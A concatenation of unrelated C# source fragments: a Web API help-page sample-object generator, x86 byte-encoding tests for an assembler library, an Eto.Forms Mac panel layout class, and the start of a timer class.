/// Nullables: <see cref="Nullable{T}"/>.
/// Arrays: arrays of simple types or complex types.
/// Key value pairs: <see cref="KeyValuePair{TKey,TValue}"/>
/// Tuples: <see cref="Tuple{T1}"/>, <see cref="Tuple{T1,T2}"/>, etc
/// Dictionaries: <see cref="IDictionary{TKey,TValue}"/> or anything deriving from <see cref="IDictionary{TKey,TValue}"/>.
/// Collections: <see cref="IList{T}"/>, <see cref="IEnumerable{T}"/>, <see cref="ICollection{T}"/>, <see cref="IList"/>, <see cref="IEnumerable"/>, <see cref="ICollection"/> or anything deriving from <see cref="ICollection{T}"/> or <see cref="IList"/>.
/// Queryables: <see cref="IQueryable"/>, <see cref="IQueryable{T}"/>.
/// </summary>
/// <param name="type">The type.</param>
/// <returns>An object of the given type.</returns>
public object GenerateObject(Type type)
{
return GenerateObject(type, new Dictionary<Type, object>());
}
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "Here we just want to return null if anything goes wrong.")]
private object GenerateObject(Type type, Dictionary<Type, object> createdObjectReferences)
{
try
{
if (SimpleTypeObjectGenerator.CanGenerateObject(type))
{
return SimpleObjectGenerator.GenerateObject(type);
}
if (type.IsArray)
{
return GenerateArray(type, DefaultCollectionSize, createdObjectReferences);
}
if (type.IsGenericType)
{
return GenerateGenericType(type, DefaultCollectionSize, createdObjectReferences);
}
if (type == typeof(IDictionary))
{
return GenerateDictionary(typeof(Hashtable), DefaultCollectionSize, createdObjectReferences);
}
if (typeof(IDictionary).IsAssignableFrom(type))
{
return GenerateDictionary(type, DefaultCollectionSize, createdObjectReferences);
}
if (type == typeof(IList) ||
type == typeof(IEnumerable) ||
type == typeof(ICollection))
{
return GenerateCollection(typeof(ArrayList), DefaultCollectionSize, createdObjectReferences);
}
if (typeof(IList).IsAssignableFrom(type))
{
return GenerateCollection(type, DefaultCollectionSize, createdObjectReferences);
}
if (type == typeof(IQueryable))
{
return GenerateQueryable(type, DefaultCollectionSize, createdObjectReferences);
}
if (type.IsEnum)
{
return GenerateEnum(type);
}
if (type.IsPublic || type.IsNestedPublic)
{
return GenerateComplexObject(type, createdObjectReferences);
}
}
catch
{
// Returns null if anything fails
return null;
}
return null;
}
private static object GenerateGenericType(Type type, int collectionSize, Dictionary<Type, object> createdObjectReferences)
{
Type genericTypeDefinition = type.GetGenericTypeDefinition();
if (genericTypeDefinition == typeof(Nullable<>))
{
return GenerateNullable(type, createdObjectReferences);
}
if (genericTypeDefinition == typeof(KeyValuePair<,>))
{
return GenerateKeyValuePair(type, createdObjectReferences);
}
if (IsTuple(genericTypeDefinition))
{
return GenerateTuple(type, createdObjectReferences);
}
Type[] genericArguments = type.GetGenericArguments();
if (genericArguments.Length == 1)
{
if (genericTypeDefinition == typeof(IList<>) ||
genericTypeDefinition == typeof(IEnumerable<>) ||
genericTypeDefinition == typeof(ICollection<>))
{
Type collectionType = typeof(List<>).MakeGenericType(genericArguments);
return GenerateCollection(collectionType, collectionSize, createdObjectReferences);
}
if (genericTypeDefinition == typeof(IQueryable<>))
{
return GenerateQueryable(type, collectionSize, createdObjectReferences);
}
Type closedCollectionType = typeof(ICollection<>).MakeGenericType(genericArguments[0]);
if (closedCollectionType.IsAssignableFrom(type))
{
return GenerateCollection(type, collectionSize, createdObjectReferences);
}
}
if (genericArguments.Length == 2)
{
if (genericTypeDefinition == typeof(IDictionary<,>))
{
Type dictionaryType = typeof(Dictionary<,>).MakeGenericType(genericArguments);
return GenerateDictionary(dictionaryType, collectionSize, createdObjectReferences);
}
Type closedDictionaryType = typeof(IDictionary<,>).MakeGenericType(genericArguments[0], genericArguments[1]);
if (closedDictionaryType.IsAssignableFrom(type))
{
return GenerateDictionary(type, collectionSize, createdObjectReferences);
}
}
if (type.IsPublic || type.IsNestedPublic)
{
return GenerateComplexObject(type, createdObjectReferences);
}
return null;
}
private static object GenerateTuple(Type type, Dictionary<Type, object> createdObjectReferences)
{
Type[] genericArgs = type.GetGenericArguments();
object[] parameterValues = new object[genericArgs.Length];
bool failedToCreateTuple = true;
ObjectGenerator objectGenerator = new ObjectGenerator();
for (int i = 0; i < genericArgs.Length; i++)
{
parameterValues[i] = objectGenerator.GenerateObject(genericArgs[i], createdObjectReferences);
failedToCreateTuple &= parameterValues[i] == null;
}
if (failedToCreateTuple)
{
return null;
}
object result = Activator.CreateInstance(type, parameterValues);
return result;
}
private static bool IsTuple(Type genericTypeDefinition)
{
return genericTypeDefinition == typeof(Tuple<>) ||
genericTypeDefinition == typeof(Tuple<,>) ||
genericTypeDefinition == typeof(Tuple<,,>) ||
genericTypeDefinition == typeof(Tuple<,,,>) ||
genericTypeDefinition == typeof(Tuple<,,,,>) ||
genericTypeDefinition == typeof(Tuple<,,,,,>) ||
genericTypeDefinition == typeof(Tuple<,,,,,,>) ||
genericTypeDefinition == typeof(Tuple<,,,,,,,>);
}
private static object GenerateKeyValuePair(Type keyValuePairType, Dictionary<Type, object> createdObjectReferences)
{
Type[] genericArgs = keyValuePairType.GetGenericArguments();
Type typeK = genericArgs[0];
Type typeV = genericArgs[1];
ObjectGenerator objectGenerator = new ObjectGenerator();
object keyObject = objectGenerator.GenerateObject(typeK, createdObjectReferences);
object valueObject = objectGenerator.GenerateObject(typeV, createdObjectReferences);
if (keyObject == null && valueObject == null)
{
// Failed to create key and values
return null;
}
object result = Activator.CreateInstance(keyValuePairType, keyObject, valueObject);
return result;
}
private static object GenerateArray(Type arrayType, int size, Dictionary<Type, object> createdObjectReferences)
{
Type type = arrayType.GetElementType();
Array result = Array.CreateInstance(type, size);
bool areAllElementsNull = true;
ObjectGenerator objectGenerator = new ObjectGenerator();
for (int i = 0; i < size; i++)
{
object element = objectGenerator.GenerateObject(type, createdObjectReferences);
result.SetValue(element, i);
areAllElementsNull &= element == null;
}
if (areAllElementsNull)
{
return null;
}
return result;
}
private static object GenerateDictionary(Type dictionaryType, int size, Dictionary<Type, object> createdObjectReferences)
{
Type typeK = typeof(object);
Type typeV = typeof(object);
if (dictionaryType.IsGenericType)
{
Type[] genericArgs = dictionaryType.GetGenericArguments();
typeK = genericArgs[0];
typeV = genericArgs[1];
}
object result = Activator.CreateInstance(dictionaryType);
MethodInfo addMethod = dictionaryType.GetMethod("Add") ?? dictionaryType.GetMethod("TryAdd");
MethodInfo containsMethod = dictionaryType.GetMethod("Contains") ?? dictionaryType.GetMethod("ContainsKey");
ObjectGenerator objectGenerator = new ObjectGenerator();
for (int i = 0; i < size; i++)
{
object newKey = objectGenerator.GenerateObject(typeK, createdObjectReferences);
if (newKey == null)
{
// Cannot generate a valid key
return null;
}
bool containsKey = (bool)containsMethod.Invoke(result, new object[] { newKey });
if (!containsKey)
{
object newValue = objectGenerator.GenerateObject(typeV, createdObjectReferences);
addMethod.Invoke(result, new object[] { newKey, newValue });
}
}
return result;
}
private static object GenerateEnum(Type enumType)
{
Array possibleValues = Enum.GetValues(enumType);
if (possibleValues.Length > 0)
{
return possibleValues.GetValue(0);
}
return null;
}
private static object GenerateQueryable(Type queryableType, int size, Dictionary<Type, object> createdObjectReferences)
{
bool isGeneric = queryableType.IsGenericType;
object list;
if (isGeneric)
{
Type listType = typeof(List<>).MakeGenericType(queryableType.GetGenericArguments());
list = GenerateCollection(listType, size, createdObjectReferences);
}
else
{
list = GenerateArray(typeof(object[]), size, createdObjectReferences);
}
if (list == null)
{
return null;
}
if (isGeneric)
{
Type argumentType = typeof(IEnumerable<>).MakeGenericType(queryableType.GetGenericArguments());
MethodInfo asQueryableMethod = typeof(Queryable).GetMethod("AsQueryable", new[] { argumentType });
return asQueryableMethod.Invoke(null, new[] { list });
}
return Queryable.AsQueryable((IEnumerable)list);
}
private static object GenerateCollection(Type collectionType, int size, Dictionary<Type, object> createdObjectReferences)
{
Type type = collectionType.IsGenericType ?
collectionType.GetGenericArguments()[0] :
typeof(object);
object result = Activator.CreateInstance(collectionType);
MethodInfo addMethod = collectionType.GetMethod("Add");
bool areAllElementsNull = true;
ObjectGenerator objectGenerator = new ObjectGenerator();
for (int i = 0; i < size; i++)
{
object element = objectGenerator.GenerateObject(type, createdObjectReferences);
addMethod.Invoke(result, new object[] { element });
areAllElementsNull &= element == null;
}
if (areAllElementsNull)
{
return null;
}
return result;
}
private static object GenerateNullable(Type nullableType, Dictionary<Type, object> createdObjectReferences)
{
Type type = nullableType.GetGenericArguments()[0];
ObjectGenerator objectGenerator = new ObjectGenerator();
return objectGenerator.GenerateObject(type, createdObjectReferences);
}
private static object GenerateComplexObject(Type type, Dictionary<Type, object> createdObjectReferences)
{
object result = null;
if (createdObjectReferences.TryGetValue(type, out result))
{
// The object has been created already, just return it. This will handle the circular reference case.
return result;
}
if (type.IsValueType)
{
result = Activator.CreateInstance(type);
}
else
{
ConstructorInfo defaultCtor = type.GetConstructor(Type.EmptyTypes);
if (defaultCtor == null)
{
// Cannot instantiate the type because it doesn't have a default constructor
return null;
}
result = defaultCtor.Invoke(new object[0]);
}
createdObjectReferences.Add(type, result);
SetPublicProperties(type, result, createdObjectReferences);
SetPublicFields(type, result, createdObjectReferences);
return result;
}
private static void SetPublicProperties(Type type, object obj, Dictionary<Type, object> createdObjectReferences)
{
PropertyInfo[] properties = type.GetProperties(BindingFlags.Public | BindingFlags.Instance);
ObjectGenerator objectGenerator = new ObjectGenerator();
foreach (PropertyInfo property in properties)
{
if (property.CanWrite)
{
object propertyValue = objectGenerator.GenerateObject(property.PropertyType, createdObjectReferences);
property.SetValue(obj, propertyValue, null);
}
}
}
private static void SetPublicFields(Type type, object obj, Dictionary<Type, object> createdObjectReferences)
{
FieldInfo[] fields = type.GetFields(BindingFlags.Public | BindingFlags.Instance);
ObjectGenerator objectGenerator = new ObjectGenerator();
foreach (FieldInfo field in fields)
{
object fieldValue = objectGenerator.GenerateObject(field.FieldType, createdObjectReferences);
field.SetValue(obj, fieldValue);
}
}
private class SimpleTypeObjectGenerator
{
private long _index = 0;
private static readonly Dictionary<Type, Func<long, object>> DefaultGenerators = InitializeGenerators();
[SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity", Justification = "These are simple type factories and cannot be split up.")]
private static Dictionary<Type, Func<long, object>> InitializeGenerators()
{
return new Dictionary<Type, Func<long, object>>
{
{ typeof(Boolean), index => true },
{ typeof(Byte), index => (Byte)64 },
{ typeof(Char), index => (Char)65 },
{ typeof(DateTime), index => DateTime.Now },
{ typeof(DateTimeOffset), index => new DateTimeOffset(DateTime.Now) },
{ typeof(DBNull), index => DBNull.Value },
{ typeof(Decimal), index => (Decimal)index },
{ typeof(Double), index => (Double)(index + 0.1) },
{ typeof(Guid), index => Guid.NewGuid() },
{ typeof(Int16), index => (Int16)(index % Int16.MaxValue) },
{ typeof(Int32), index => (Int32)(index % Int32.MaxValue) },
{ typeof(Int64), index => (Int64)index },
{ typeof(Object), index => new object() },
{ typeof(SByte), index => (SByte)64 },
{ typeof(Single), index => (Single)(index + 0.1) },
{
typeof(String), index =>
{
return String.Format(CultureInfo.CurrentCulture, "sample string {0}", index);
}
},
{
typeof(TimeSpan), index =>
{
return TimeSpan.FromTicks(1234567);
}
},
{ typeof(UInt16), index => (UInt16)(index % UInt16.MaxValue) },
{ typeof(UInt32), index => (UInt32)(index % UInt32.MaxValue) },
{ typeof(UInt64), index => (UInt64)index },
{
typeof(Uri), index =>
{
return new Uri(String.Format(CultureInfo.CurrentCulture, "http://webapihelppage{0}.com", index));
}
},
};
}
public static bool CanGenerateObject(Type type)
{
return DefaultGenerators.ContainsKey(type);
}
public object GenerateObject(Type type)
{
return DefaultGenerators[type](++_index);
}
}
}
}
| |
using System;
using System.Collections.Generic;
using System.Text;
using CoffLib.Binary;
namespace CoffLib.X86
{
public partial class I386
{
public static void Test2_8()
{
// Mov, Add, Or, Adc, Sbb, And, Sub, Xor, Cmp, Test, Xchg
// Mov
MovB(Reg8.AL, 4)
.Test("mov al, 4", "B0-04");
MovB(Reg8.AH, 4)
.Test("mov ah, 4", "B4-04");
MovB(Reg8.AL, Reg8.BL)
.Test("mov al, bl", "88-D8");
MovB(Reg8.BL, Reg8.AL)
.Test("mov al, bl", "88-C3");
MovB(Reg8.AL, new Addr32(Reg32.EDX))
.Test("mov al, [edx]", "8A-02");
MovB(Reg8.BL, new Addr32(Reg32.EAX))
.Test("mov bl, [eax]", "8A-18");
MovB(Reg8.CL, new Addr32(Reg32.ESP))
.Test("mov cl, [esp]", "8A-0C-24");
MovB(Reg8.BH, new Addr32(Reg32.EAX, 0x1000))
.Test("mov bh, [eax+0x1000]", "8A-B8-00-10-00-00");
MovB(new Addr32(Reg32.EDX), Reg8.AL)
.Test("mov [edx], al", "88-02");
MovB(new Addr32(Reg32.EAX), Reg8.BL)
.Test("mov [eax], bl", "88-18");
MovB(new Addr32(Reg32.ESP), Reg8.CL)
.Test("mov [esp], cl", "88-0C-24");
MovB(new Addr32(Reg32.EAX, 0x1000), Reg8.BH)
.Test("mov [eax+0x1000], bh", "88-B8-00-10-00-00");
MovB(new Addr32(Reg32.EAX), (byte)1)
.Test("mov byte [eax], 1", "C6-00-01");
MovB(new Addr32(Reg32.EBP, -4), (byte)8)
.Test("mov byte [ebp-4], 8", "C6-45-FC-08");
MovB(Reg8.AL, new Addr32(0x12345678))
.Test("mov al, [0x12345678]", "A0-78-56-34-12");
MovB(new Addr32(0x12345678), Reg8.AL)
.Test("mov [0x12345678], al", "A2-78-56-34-12");
// Add
AddB(Reg8.AL, 4)
.Test("add al, 4", "04-04");
AddB(Reg8.AH, 4)
.Test("add ah, 4", "80-C4-04");
AddB(Reg8.AL, Reg8.BL)
.Test("add al, bl", "00-D8");
AddB(Reg8.AL, new Addr32(Reg32.EDX))
.Test("add al, [edx]", "02-02");
AddB(Reg8.BL, new Addr32(Reg32.EAX))
.Test("add bl, [eax]", "02-18");
AddB(Reg8.CL, new Addr32(Reg32.ESP))
.Test("add cl, [esp]", "02-0C-24");
AddB(Reg8.BH, new Addr32(Reg32.EAX, 0x1000))
.Test("add bh, [eax+0x1000]", "02-B8-00-10-00-00");
AddB(new Addr32(Reg32.EDX), Reg8.AL)
.Test("add [edx], al", "00-02");
AddB(new Addr32(Reg32.EAX), Reg8.BL)
.Test("add [eax], bl", "00-18");
AddB(new Addr32(Reg32.ESP), Reg8.CL)
.Test("add [esp], cl", "00-0C-24");
AddB(new Addr32(Reg32.EAX, 0x1000), Reg8.BH)
.Test("add [eax+0x1000], bh", "00-B8-00-10-00-00");
AddB(new Addr32(Reg32.EAX), (byte)1)
.Test("add byte [eax], 1", "80-00-01");
AddB(new Addr32(Reg32.EBP, -4), (byte)8)
.Test("add byte [ebp-4], 8", "80-45-FC-08");
// Or
OrB(Reg8.AL, 4)
.Test("or al, 4", "0C-04");
OrB(Reg8.AH, 4)
.Test("or ah, 4", "80-CC-04");
OrB(Reg8.AL, Reg8.BL)
.Test("or al, bl", "08-D8");
OrB(Reg8.AL, new Addr32(Reg32.EDX))
.Test("or al, [edx]", "0A-02");
OrB(Reg8.BL, new Addr32(Reg32.EAX))
.Test("or bl, [eax]", "0A-18");
OrB(Reg8.CL, new Addr32(Reg32.ESP))
.Test("or cl, [esp]", "0A-0C-24");
OrB(Reg8.BH, new Addr32(Reg32.EAX, 0x1000))
.Test("or bh, [eax+0x1000]", "0A-B8-00-10-00-00");
OrB(new Addr32(Reg32.EDX), Reg8.AL)
.Test("or [edx], al", "08-02");
OrB(new Addr32(Reg32.EAX), Reg8.BL)
.Test("or [eax], bl", "08-18");
OrB(new Addr32(Reg32.ESP), Reg8.CL)
.Test("or [esp], cl", "08-0C-24");
OrB(new Addr32(Reg32.EAX, 0x1000), Reg8.BH)
.Test("or [eax+0x1000], bh", "08-B8-00-10-00-00");
OrB(new Addr32(Reg32.EAX), (byte)1)
.Test("or byte [eax], 1", "80-08-01");
OrB(new Addr32(Reg32.EBP, -4), (byte)8)
.Test("or byte [ebp-4], 8", "80-4D-FC-08");
// Adc
AdcB(Reg8.AL, 4)
.Test("adc al, 4", "14-04");
AdcB(Reg8.AH, 4)
.Test("adc ah, 4", "80-D4-04");
AdcB(Reg8.AL, Reg8.BL)
.Test("adc al, bl", "10-D8");
AdcB(Reg8.AL, new Addr32(Reg32.EDX))
.Test("adc al, [edx]", "12-02");
AdcB(Reg8.BL, new Addr32(Reg32.EAX))
.Test("adc bl, [eax]", "12-18");
AdcB(Reg8.CL, new Addr32(Reg32.ESP))
.Test("adc cl, [esp]", "12-0C-24");
AdcB(Reg8.BH, new Addr32(Reg32.EAX, 0x1000))
.Test("adc bh, [eax+0x1000]", "12-B8-00-10-00-00");
AdcB(new Addr32(Reg32.EDX), Reg8.AL)
.Test("adc [edx], al", "10-02");
AdcB(new Addr32(Reg32.EAX), Reg8.BL)
.Test("adc [eax], bl", "10-18");
AdcB(new Addr32(Reg32.ESP), Reg8.CL)
.Test("adc [esp], cl", "10-0C-24");
AdcB(new Addr32(Reg32.EAX, 0x1000), Reg8.BH)
.Test("adc [eax+0x1000], bh", "10-B8-00-10-00-00");
AdcB(new Addr32(Reg32.EAX), (byte)1)
.Test("adc byte [eax], 1", "80-10-01");
AdcB(new Addr32(Reg32.EBP, -4), (byte)8)
.Test("adc byte [ebp-4], 8", "80-55-FC-08");
// Sbb
SbbB(Reg8.AL, 4)
.Test("sbb al, 4", "1C-04");
SbbB(Reg8.AH, 4)
.Test("sbb ah, 4", "80-DC-04");
SbbB(Reg8.AL, Reg8.BL)
.Test("sbb al, bl", "18-D8");
SbbB(Reg8.AL, new Addr32(Reg32.EDX))
.Test("sbb al, [edx]", "1A-02");
SbbB(Reg8.BL, new Addr32(Reg32.EAX))
.Test("sbb bl, [eax]", "1A-18");
SbbB(Reg8.CL, new Addr32(Reg32.ESP))
.Test("sbb cl, [esp]", "1A-0C-24");
SbbB(Reg8.BH, new Addr32(Reg32.EAX, 0x1000))
.Test("sbb bh, [eax+0x1000]", "1A-B8-00-10-00-00");
SbbB(new Addr32(Reg32.EDX), Reg8.AL)
.Test("sbb [edx], al", "18-02");
SbbB(new Addr32(Reg32.EAX), Reg8.BL)
.Test("sbb [eax], bl", "18-18");
SbbB(new Addr32(Reg32.ESP), Reg8.CL)
.Test("sbb [esp], cl", "18-0C-24");
SbbB(new Addr32(Reg32.EAX, 0x1000), Reg8.BH)
.Test("sbb [eax+0x1000], bh", "18-B8-00-10-00-00");
SbbB(new Addr32(Reg32.EAX), (byte)1)
.Test("sbb byte [eax], 1", "80-18-01");
SbbB(new Addr32(Reg32.EBP, -4), (byte)8)
.Test("sbb byte [ebp-4], 8", "80-5D-FC-08");
// And
AndB(Reg8.AL, 4)
.Test("and al, 4", "24-04");
AndB(Reg8.AH, 4)
.Test("and ah, 4", "80-E4-04");
AndB(Reg8.AL, Reg8.BL)
.Test("and al, bl", "20-D8");
AndB(Reg8.AL, new Addr32(Reg32.EDX))
.Test("and al, [edx]", "22-02");
AndB(Reg8.BL, new Addr32(Reg32.EAX))
.Test("and bl, [eax]", "22-18");
AndB(Reg8.CL, new Addr32(Reg32.ESP))
.Test("and cl, [esp]", "22-0C-24");
AndB(Reg8.BH, new Addr32(Reg32.EAX, 0x1000))
.Test("and bh, [eax+0x1000]", "22-B8-00-10-00-00");
AndB(new Addr32(Reg32.EDX), Reg8.AL)
.Test("and [edx], al", "20-02");
AndB(new Addr32(Reg32.EAX), Reg8.BL)
.Test("and [eax], bl", "20-18");
AndB(new Addr32(Reg32.ESP), Reg8.CL)
.Test("and [esp], cl", "20-0C-24");
AndB(new Addr32(Reg32.EAX, 0x1000), Reg8.BH)
.Test("and [eax+0x1000], bh", "20-B8-00-10-00-00");
AndB(new Addr32(Reg32.EAX), (byte)1)
.Test("and byte [eax], 1", "80-20-01");
AndB(new Addr32(Reg32.EBP, -4), (byte)8)
.Test("and byte [ebp-4], 8", "80-65-FC-08");
// Sub
SubB(Reg8.AL, 4)
.Test("sub al, 4", "2C-04");
SubB(Reg8.AH, 4)
.Test("sub ah, 4", "80-EC-04");
SubB(Reg8.AL, Reg8.BL)
.Test("sub al, bl", "28-D8");
SubB(Reg8.AL, new Addr32(Reg32.EDX))
.Test("sub al, [edx]", "2A-02");
SubB(Reg8.BL, new Addr32(Reg32.EAX))
.Test("sub bl, [eax]", "2A-18");
SubB(Reg8.CL, new Addr32(Reg32.ESP))
.Test("sub cl, [esp]", "2A-0C-24");
SubB(Reg8.BH, new Addr32(Reg32.EAX, 0x1000))
.Test("sub bh, [eax+0x1000]", "2A-B8-00-10-00-00");
SubB(new Addr32(Reg32.EDX), Reg8.AL)
.Test("sub [edx], al", "28-02");
SubB(new Addr32(Reg32.EAX), Reg8.BL)
.Test("sub [eax], bl", "28-18");
SubB(new Addr32(Reg32.ESP), Reg8.CL)
.Test("sub [esp], cl", "28-0C-24");
SubB(new Addr32(Reg32.EAX, 0x1000), Reg8.BH)
.Test("sub [eax+0x1000], bh", "28-B8-00-10-00-00");
SubB(new Addr32(Reg32.EAX), (byte)1)
.Test("sub byte [eax], 1", "80-28-01");
SubB(new Addr32(Reg32.EBP, -4), (byte)8)
.Test("sub byte [ebp-4], 8", "80-6D-FC-08");
// Xor
XorB(Reg8.AL, 4)
.Test("xor al, 4", "34-04");
XorB(Reg8.AH, 4)
.Test("xor ah, 4", "80-F4-04");
XorB(Reg8.AL, Reg8.BL)
.Test("xor al, bl", "30-D8");
XorB(Reg8.AL, new Addr32(Reg32.EDX))
.Test("xor al, [edx]", "32-02");
XorB(Reg8.BL, new Addr32(Reg32.EAX))
.Test("xor bl, [eax]", "32-18");
XorB(Reg8.CL, new Addr32(Reg32.ESP))
.Test("xor cl, [esp]", "32-0C-24");
XorB(Reg8.BH, new Addr32(Reg32.EAX, 0x1000))
.Test("xor bh, [eax+0x1000]", "32-B8-00-10-00-00");
XorB(new Addr32(Reg32.EDX), Reg8.AL)
.Test("xor [edx], al", "30-02");
XorB(new Addr32(Reg32.EAX), Reg8.BL)
.Test("xor [eax], bl", "30-18");
XorB(new Addr32(Reg32.ESP), Reg8.CL)
.Test("xor [esp], cl", "30-0C-24");
XorB(new Addr32(Reg32.EAX, 0x1000), Reg8.BH)
.Test("xor [eax+0x1000], bh", "30-B8-00-10-00-00");
XorB(new Addr32(Reg32.EAX), (byte)1)
.Test("xor byte [eax], 1", "80-30-01");
XorB(new Addr32(Reg32.EBP, -4), (byte)8)
.Test("xor byte [ebp-4], 8", "80-75-FC-08");
// Cmp
CmpB(Reg8.AL, 4)
.Test("cmp al, 4", "3C-04");
CmpB(Reg8.AH, 4)
.Test("cmp ah, 4", "80-FC-04");
CmpB(Reg8.AL, Reg8.BL)
.Test("cmp al, bl", "38-D8");
CmpB(Reg8.AL, new Addr32(Reg32.EDX))
.Test("cmp al, [edx]", "3A-02");
CmpB(Reg8.BL, new Addr32(Reg32.EAX))
.Test("cmp bl, [eax]", "3A-18");
CmpB(Reg8.CL, new Addr32(Reg32.ESP))
.Test("cmp cl, [esp]", "3A-0C-24");
CmpB(Reg8.BH, new Addr32(Reg32.EAX, 0x1000))
.Test("cmp bh, [eax+0x1000]", "3A-B8-00-10-00-00");
CmpB(new Addr32(Reg32.EDX), Reg8.AL)
.Test("cmp [edx], al", "38-02");
CmpB(new Addr32(Reg32.EAX), Reg8.BL)
.Test("cmp [eax], bl", "38-18");
CmpB(new Addr32(Reg32.ESP), Reg8.CL)
.Test("cmp [esp], cl", "38-0C-24");
CmpB(new Addr32(Reg32.EAX, 0x1000), Reg8.BH)
.Test("cmp [eax+0x1000], bh", "38-B8-00-10-00-00");
CmpB(new Addr32(Reg32.EAX), (byte)1)
.Test("cmp byte [eax], 1", "80-38-01");
CmpB(new Addr32(Reg32.EBP, -4), (byte)8)
.Test("cmp byte [ebp-4], 8", "80-7D-FC-08");
// Test
TestB(Reg8.AL, 4)
.Test("test al, 4", "A8-04");
TestB(Reg8.AH, 4)
.Test("test ah, 4", "F6-C4-04");
TestB(Reg8.AL, Reg8.BL)
.Test("test al, bl", "84-D8");
TestB(new Addr32(Reg32.EDX), Reg8.AL)
.Test("test [edx], al", "84-02");
TestB(new Addr32(Reg32.EAX), Reg8.BL)
.Test("test [eax], bl", "84-18");
TestB(new Addr32(Reg32.ESP), Reg8.CL)
.Test("test [esp], cl", "84-0C-24");
TestB(new Addr32(Reg32.EAX, 0x1000), Reg8.BH)
.Test("test [eax+0x1000], bh", "84-B8-00-10-00-00");
TestB(new Addr32(Reg32.EAX), (byte)1)
.Test("test byte [eax], 1", "F6-00-01");
TestB(new Addr32(Reg32.EBP, -4), (byte)8)
.Test("test byte [ebp-4], 8", "F6-45-FC-08");
// Xchg
XchgB(Reg8.AL, Reg8.AL)
.Test("xchg al, al", "86-C0");
XchgB(Reg8.AL, Reg8.BL)
.Test("xchg al, bl", "86-D8");
XchgB(Reg8.BL, Reg8.AL)
.Test("xchg bl, al", "86-C3");
XchgB(Reg8.AL, new Addr32(Reg32.EDX))
.Test("xchg al, [edx]", "86-02");
XchgB(Reg8.BL, new Addr32(Reg32.EAX))
.Test("xchg bl, [eax]", "86-18");
XchgB(Reg8.CL, new Addr32(Reg32.ESP))
.Test("xchg cl, [esp]", "86-0C-24");
XchgB(Reg8.BH, new Addr32(Reg32.EAX, 0x1000))
.Test("xchg bh, [eax+0x1000]", "86-B8-00-10-00-00");
XchgB(new Addr32(Reg32.EDX), Reg8.AL)
.Test("xchg [edx], al", "86-02");
}
}
}
| |
using System;
using Eto.Forms;
using Eto.Drawing;
#if XAMMAC2
using AppKit;
using Foundation;
using CoreGraphics;
using ObjCRuntime;
using CoreAnimation;
#elif OSX
using MonoMac.AppKit;
using MonoMac.Foundation;
using MonoMac.CoreGraphics;
using MonoMac.ObjCRuntime;
using MonoMac.CoreAnimation;
#if Mac64
using CGSize = MonoMac.Foundation.NSSize;
using CGRect = MonoMac.Foundation.NSRect;
using CGPoint = MonoMac.Foundation.NSPoint;
using nfloat = System.Double;
using nint = System.Int64;
using nuint = System.UInt64;
#else
using CGSize = System.Drawing.SizeF;
using CGRect = System.Drawing.RectangleF;
using CGPoint = System.Drawing.PointF;
using nfloat = System.Single;
using nint = System.Int32;
using nuint = System.UInt32;
#endif
#endif
#if IOS
using NSResponder = UIKit.UIResponder;
using NSView = UIKit.UIView;
using Eto.iOS.Forms;
using UIKit;
using Foundation;
using CoreGraphics;
#elif OSX
using Eto.Mac.Forms.Menu;
#endif
namespace Eto.Mac.Forms
{
public abstract class MacPanel<TControl, TWidget, TCallback> : MacContainer<TControl, TWidget, TCallback>, Panel.IHandler
where TControl: NSObject
where TWidget: Panel
where TCallback: Panel.ICallback
{
Control content;
Padding padding;
public Padding Padding
{
get { return padding; }
set
{
padding = value;
LayoutParent();
}
}
#if OSX
protected virtual NSViewResizingMask ContentResizingMask()
{
return NSViewResizingMask.HeightSizable | NSViewResizingMask.WidthSizable;
}
#endif
public Control Content
{
get { return content; }
set
{
if (content != null)
{
var oldContent = content.GetContainerView();
oldContent.RemoveFromSuperview();
}
content = value;
var control = value.GetContainerView();
if (control != null)
{
var container = ContentControl;
#if OSX
control.AutoresizingMask = ContentResizingMask();
control.Frame = new CGRect(ContentControl.Bounds.X, ContentControl.Bounds.Y, ContentControl.Bounds.Width, ContentControl.Bounds.Height);
container.AddSubview(control); // default
#elif IOS
control.AutoresizingMask = UIViewAutoresizing.FlexibleDimensions;
control.Frame = new CGRect(0, 0, ContentControl.Bounds.Width, ContentControl.Bounds.Height);
this.AddChild(value);
#endif
}
if (Widget.Loaded)
{
LayoutParent();
}
}
}
#if OSX
ContextMenu contextMenu;
public ContextMenu ContextMenu
{
get { return contextMenu; }
set
{
contextMenu = value;
EventControl.Menu = contextMenu != null ? ((ContextMenuHandler)contextMenu.Handler).Control : null;
}
}
#else
public virtual ContextMenu ContextMenu
{
get
{
throw new NotImplementedException();
}
set
{
throw new NotImplementedException();
}
}
#endif
protected override SizeF GetNaturalSize(SizeF availableSize)
{
if (content == null || !content.Visible)
return Padding.Size;
var contentControl = content.GetMacControl();
if (contentControl != null)
return contentControl.GetPreferredSize(availableSize) + Padding.Size;
return Padding.Size;
}
protected virtual CGRect GetContentBounds()
{
return ContentControl.Bounds;
}
protected virtual CGRect AdjustContent(CGRect rect)
{
return rect;
}
public override void LayoutChildren()
{
base.LayoutChildren();
if (content == null)
return;
NSView childControl = content.GetContainerView();
var frame = GetContentBounds();
if (frame.Width > padding.Horizontal && frame.Height > padding.Vertical)
{
frame.X += padding.Left;
frame.Width -= padding.Horizontal;
frame.Y += padding.Bottom;
frame.Height -= padding.Vertical;
}
else
{
frame.X = 0;
frame.Y = 0;
}
frame = AdjustContent(frame);
if (childControl.Frame != frame)
childControl.Frame = frame;
}
public override void SetContentSize(CGSize contentSize)
{
base.SetContentSize(contentSize);
if (MinimumSize != Size.Empty)
{
contentSize.Width = (nfloat)Math.Max(contentSize.Width, MinimumSize.Width);
contentSize.Height = (nfloat)Math.Max(contentSize.Height, MinimumSize.Height);
}
if (Widget.Content != null)
{
var child = Widget.Content.Handler as IMacContainer;
if (child != null)
{
child.SetContentSize(contentSize);
}
}
}
bool isResizing;
void HandleSizeChanged(object sender, EventArgs e)
{
if (!isResizing)
{
isResizing = true;
LayoutChildren();
isResizing = false;
}
}
public override void OnLoad(EventArgs e)
{
base.OnLoad(e);
LayoutChildren();
Widget.SizeChanged += HandleSizeChanged;
}
public override void OnUnLoad(EventArgs e)
{
base.OnUnLoad(e);
Widget.SizeChanged -= HandleSizeChanged;
}
}
}
| |
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;
using Hydra.Framework.Reflection;
namespace Hydra.Framework
{
/// <summary>
/// Timer Implementation
/// </summary>
public class FunctionTimer
: IDisposable
{
#region Member Variables
/// <summary>
/// Action to be Taken
/// </summary>
